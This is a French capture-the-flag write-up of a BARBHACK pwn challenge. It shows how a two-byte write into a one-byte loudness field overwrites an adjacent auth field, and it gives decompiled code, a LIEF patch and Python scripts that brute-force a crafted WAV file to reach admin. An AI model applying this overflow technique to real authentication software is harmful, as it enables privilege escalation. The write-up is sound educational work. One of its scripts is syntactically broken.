Introduction

La BARBHACK est un évènement de cybersécurité organisé à Toulon au mois d’août. Elle y regroupe des conférences, une session de rump, un barbecue ainsi qu’un CTF en fin de soirée.
Acceis a ainsi pu envoyer plusieurs joueurs afin de participer au CTF en fin de journée.

Un challenge de la catégorie pwn a retenu notre attention, il mêle des notions de physique et de code bas niveau et c’est ainsi que nous avons décidé d’en rédiger un writeup.

Découverte du challenge

Le fichier donné avec le challenge est un ELF codé en C++.

╭─trikkss@arch-trikkss ~/ctf/barbhack/pwn/voice-id
╰─➤  file fake-voice-id
fake-voice-id: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped

Ce binaire prend en entrée un fichier au format WAV qu’il va dans un premier temps parser.

void __cdecl Verification::Verification(Verification *const this, const Verification *a2)
{
  sf::SoundBuffer::SoundBuffer(&this->recording, &a2->recording);
  this->samples = a2->samples;
  this->nb_sample = a2->nb_sample;
  this->loudness = a2->loudness;
  this->auth = a2->auth;
}

Puis, il stocke les informations de celui-ci dans la structure suivante :

struct __cppobj __attribute__((aligned(8))) Verification // sizeof=0x70
{                                       // XREF: main/r
    sf::SoundBuffer recording;
    const __int16 *samples;
    std::size_t nb_sample;
    unsigned __int8 loudness;
    Auth auth;
};

Par la suite, il va effectuer des vérifications sur notre fichier.
Le binaire contient les symboles ainsi que des messages d’erreurs ce qui nous permet de comprendre rapidement le format que doit avoir notre audio.

void __cdecl Verification::check(Verification *const this)
{
  float v1; // xmm0_4
  __int64 v2; // rax
  __int64 v3; // rax
  unsigned __int16 v4; // ax
  __int64 v5; // rax
  __int64 v6; // rax
  unsigned int hlen; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int8 *h; // [rsp+18h] [rbp-18h] BYREF
  unsigned __int16 *pre_loud; // [rsp+20h] [rbp-10h]
  unsigned __int64 v10; // [rsp+28h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  this->auth = Auth::Unauthorized;
  h = (unsigned __int8 *)sf::SoundBuffer::getDuration(&this->recording);
  sf::Time::asSeconds((sf::Time *)&h);
  if ( v1 >= 3.0 )
  {
    if ( this->nb_sample > 0x270F )
    {
      pre_loud = (unsigned __int16 *)&this->loudness;
      v4 = rms(this->samples, this->nb_sample);
      *pre_loud = v4;
      if ( this->loudness > 0x31u )
      {
        h = (unsigned __int8 *)calloc(0x40uLL, 1uLL);
        hlen = 64;
        hash(this->samples, this->nb_sample, &h, &hlen);
        if ( !memcmp(h, "hash", 0x40uLL) )
        {
          v6 = std::operator<<<std::char_traits<char>>(&_bss_start, "Admin voice recognized");
          std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
          this->auth = Auth::Admin;
        }
        free(h);
      }
      else
      {
        v5 = std::operator<<<std::char_traits<char>>(&_bss_start, "Not loud enough");
        std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
        this->auth = Auth::User;
      }
    }
    else
    {
      v3 = std::operator<<<std::char_traits<char>>(&_bss_start, "Not enough samples");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v2 = std::operator<<<std::char_traits<char>>(&_bss_start, "Not long enough");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  }
}

Afin que notre fichier WAV soit reconnu comme administrateur, il faut qu’il valide certaines conditions.
Si toutes les conditions sont validées, alors le binaire va définir l’attribut auth à admin dans la structure précédente.

Si l’on regarde dans le code assembleur lorsque toutes les conditions sont validées, on comprend que l’attribut auth est mis à 0x77 lorsque le fichier est identifié comme provenant de l’administrateur.

mov     rax, [rbp+this]
mov     byte ptr [rax+69h], 77h

Les conditions à valider sont les suivantes :

  • un audio de + de 3 secondes
  • plus de 0x270F samples
  • le volume supérieur à 0x31
  • et que le sha512() de nos samples soit égal à la string "hash"

Évidemment la dernière condition est par définition impossible. Il va donc falloir trouver un autre moyen de passer administrateur en contournant ce check.
Pour finir, le binaire va vérifier la valeur présente dans l’attribut auth et nous afficher un message en fonction de celui-ci.

int __cdecl do_stuff(Verification *p_v)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax

  if ( Verification::get_auth(p_v) == Auth::Admin )
  {
    v1 = std::operator<<<std::char_traits<char>>(&_bss_start, "[RIGHT] Hello Admin");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
    v2 = std::operator<<<std::char_traits<char>>(&_bss_start, "The flag is brb{FAKE_FLAG}");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    return 0;
  }
  else if ( Verification::get_auth(p_v) == Auth::User )
  {
    v4 = std::operator<<<std::char_traits<char>>(&_bss_start, "[RIGHT] Hello User");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    v5 = std::operator<<<std::char_traits<char>>(&_bss_start, &unk_40A8);
    std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    return 0;
  }
  else
  {
    if ( Verification::get_auth(p_v) == Auth::Unauthorized )
      v6 = std::operator<<<std::char_traits<char>>(&_bss_start, "[WRONG] Unauthorized");
    else
      v6 = std::operator<<<std::char_traits<char>>(&_bss_start, "[WRONG] Not verified yet");
    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
    return 1;
  }
}

Exploitation

Après quelques recherches, on se rend compte que ce bout de code est intéressant, en effet celui-ci va écrire la valeur de retour de la fonction rms() dans l’attribut loudness de notre structure. Il se trouve que cet attribut se trouve juste avant celui d’auth.

pre_loud = (unsigned __int16 *)&this->loudness;
v4 = rms(this->samples, this->nb_sample);
*pre_loud = v4;

cf :

struct __cppobj __attribute__((aligned(8))) Verification // sizeof=0x70
{                                       // XREF: main/r
    sf::SoundBuffer recording;
    const __int16 *samples;
    std::size_t nb_sample;
    unsigned __int8 loudness;
    Auth auth;
};

Si nous regardons maintenant le code assembleur, celui-ci va déplacer la valeur de retour de rms() dans le registre edx puis déplacer à nouveau dx (les 2 derniers bytes de edx) à l’adresse pointée par rax (l’attribut loudness).

call    _Z3rmsPKsm      ; rms(short const*,ulong)
mov     edx, eax
mov     rax, [rbp+pre_loud]
mov     [rax], dx

Le souci ici est que le registre dx est sur 2 octets sachant que loudness a une taille de 1 octet. Nous allons donc avoir un overflow sur l’attribut suivant qui se trouve être celui qui permet de stocker le rôle.

De plus, comme la fonction rms() renvoie un int64, il est ainsi possible d’overflow cet attribut avec la valeur 0x77 afin de passer administrateur.

Afin de générer un WAV conforme aux spécifications demandées par le programme, nous demandons à notre ami chatgpt de nous générer un code python.
Voici le script proposé :

import numpy as np
from scipy.io.wavfile import write

def generate_wav_file(filename="output.wav", duration=3.1, min_samples=0x270F, min_volume=0x31, sample_rate=44100, frequency=440.0):
    # Calcul du nombre d'échantillons correspondant à la durée
    num_samples = int(sample_rate * duration)

    # Si le nombre d'échantillons est inférieur à la contrainte, on ajuste
    if num_samples < min_samples:
        duration = min_samples / sample_rate
        num_samples = min_samples

    # Génération d'un signal sinusoïdal simple à 440 Hz (La4)
    t = np.linspace(0, duration, num_samples, False)  # axe du temps
    signal = np.sin(2 * np.pi * frequency * t)  # signal entre -0.5 et 0.5

    # Normaliser le signal pour avoir une amplitude maximale de 1.0
    signal = signal / np.max(np.abs(signal))

    # Conversion du signal en entier 16 bits pour le format WAV
    signal_int16 = np.int16(signal)

    # Sauvegarde en fichier WAV
    write(filename, sample_rate, signal_int16)
    print(f"Fichier WAV généré : {filename}")

# Exemple d'utilisation
generate_wav_file("signal_min_conditions.wav")

Nous pouvons maintenant facilement générer nos fichiers audios. Celui-ci passe toutes les conditions excepté celle sur le volume. Lorsque que nous l’exécutons, nous avons le message suivant :

╭─trikkss@arch-trikkss ~/ctf/barbhack/pwn/voice-id
╰─➤  ./fake-voice-id signal_min_conditions.wav
Bad audio configuration, failing back to file
Not loud enough
[RIGHT] Hello User
You're not privileged enough but you can have a cookie 🍪

Il s’agit maintenant de trouver un moyen pour que la fonction rms() nous retourne une valeur permettant de réécrire le champ auth de notre structure.
Après quelques recherches, on se rend compte que la fonction rms sert à calculer la puissance moyenne de notre signal.

Le signal que nous envoyons en entrée dans notre audio est une sinusoïde. Un signal sinusoïdal est codé de la façon suivante :

A.sin(2\pi{f})

(avec A l’amplitude de notre sinusoïde et f la fréquence de notre signal)

Nous allons donc augmenter l’amplitude de notre signal afin d’atteindre une puissance moyenne supérieure à 0x7731 afin que celle-ci passe la condition sur la puissance minimum et réécrive le champ auth.

Pour ce faire, nous allons bruteforce le programme en l’amplifiant petit à petit.

Malheureusement, je n’ai pas réussi à réimplémenter la fonction rms en python. Mes implémentations de celle-ci retournaient des résultats différents de ceux présents dans le binaire. J’ai donc décidé de réutiliser la fonction présente dans le binaire en convertissant celui-ci en librairie partagée avec lief

Voici un article détaillé de la technique : https://lief.re/doc/stable/tutorials/08_elf_bin2lib.html

import lief

bin_ = lief.parse("fake-voice-id")

for i in bin_.exported_functions:
    if "rms" in i.name:
        print(f"{i.name} : {hex(i.address)}")

        bin_.add_exported_function(i.address, "rms")

# retirer la PIE
bin_[lief.ELF.DynamicEntry.TAG.FLAGS_1].remove(lief.ELF.DynamicEntryFlags.FLAG.PIE)
bin_.write("fake-voice-id.patched")

Ce code va trouver l’adresse de la fonction rms, ajouter le symbole à notre binaire, retirer la PIE et sauvegarder notre binaire patché.

Nous pouvons maintenant appeler notre fonction en python de la manière suivante :

import ctypes
import numpy as np

voice_id = ctypes.CDLL("/home/trikkss/ctf/barbhack/pwn/voice-id/fake-voice-id.patched")

t = np.linspace(0, 3.1, 1000, False)
signal = 100 * np.sin(2 * np.pi * 440 * t)

intArray = ctypes.c_int16 * len(signal)
c_frames_array = intArray(*np.int16(signal))

result = voice_id.rms(c_frames_array, len(signal)) 

print(f"RMS : {result}")

Nous avons maintenant toutes les cartes en main pour écrire notre script permettant de bruteforce l’amplitude.

import ctypes
import numpy as np
from scipy.io.wavfile import write

voice_id = ctypes.CDLL("/home/trikkss/ctf/barbhack/pwn/voice-id/fake-voice-id.patched")

t = np.linspace(0, 3.1, 1000, False)

duration = 3.1
sample_rate = 44100
num_samples = int(sample_rate * duration)

for i in np.arange(10000.0, 100000.0, 0.2):

    signal = i*np.sin(2 * np.pi * 1 * t)

    intArray = ctypes.c_int16 * len(signal)
    c_frames_array = intArray(*np.int16(signal))

    result = voice_id.rms(c_frames_array, len(signal)) 

    print(f"RMS : {hex(result)}")

    if result >= 0x7731
        print(hex(result))
        write("out.wav", sample_rate, signal)

Malheureusement, la fonction RMS augmente jusqu’à environ 0x5C00 et ensuite redescend… J’ai donc décidé d’utiliser un signal carré (qui est une somme de signaux sinusoïdaux).

sin_vs_square

On se rend compte sur ce graphique que la puissance moyenne d’un signal carré sera donc forcément supérieure à celle d’un signal sinusoïdal.

import ctypes
import numpy as np
from scipy.io.wavfile import write
import scipy

voice_id = ctypes.CDLL("/home/trikkss/ctf/barbhack/pwn/voice-id/fake-voice-id.patched")

duration = 3.1
sample_rate = 10000
num_samples = int(sample_rate * duration)

t = np.linspace(0, duration, num_samples, False)
for i in np.arange(10000.0, 100000.0, 0.2):
    # signal carré
    signal = 100 * scipy.signal.square(2 * np.pi * 440 * t)

    # on l'amplifie
    signal *= i

    # on le formatte sur 16 bits
    signal = np.int16(signal)

    intArray = ctypes.c_int16 * len(signal)
    c_frames_array = intArray(*signal)

    result = voice_id.rms(c_frames_array, len(signal)) 

    if result >= 0x7731:
        print("wav saved")
        write("out.wav", sample_rate, signal)
        break

Au bout de quelques secondes, le script trouve une solution qu’il sauvegarde dans le fichier out.wav.

On peut maintenant envoyer notre fichier au binaire et le flag apparaît :

╭─trikkss@arch-trikkss ~/ctf/barbhack/pwn/voice-id
╰─➤  ./fake-voice-id out.wav
Bad audio configuration, failing back to file
[RIGHT] Hello Admin
The flag is brb{FAKE_FLAG}

Conclusion

Je n’ai malheureusement pas réussi à résoudre ce challenge durant le ctf. En effet, je n’ai pas abordé celui-ci d’un point de vue télécom. J’ai donc tenté de trouver des solutions à la fonction rms() sans comprendre à quoi celle-ci servait en visualisant les données en entrée à cette fonction comme des arrays de int16 avec + de 10k éléments et non pas des signaux.

Le challenge fut intéressant, et l’ensemble de l’événement était vraiment agréable. Les repas, la qualité des présentations et l’ambiance chaleureuse du sud ont rendu cet événement très réussi.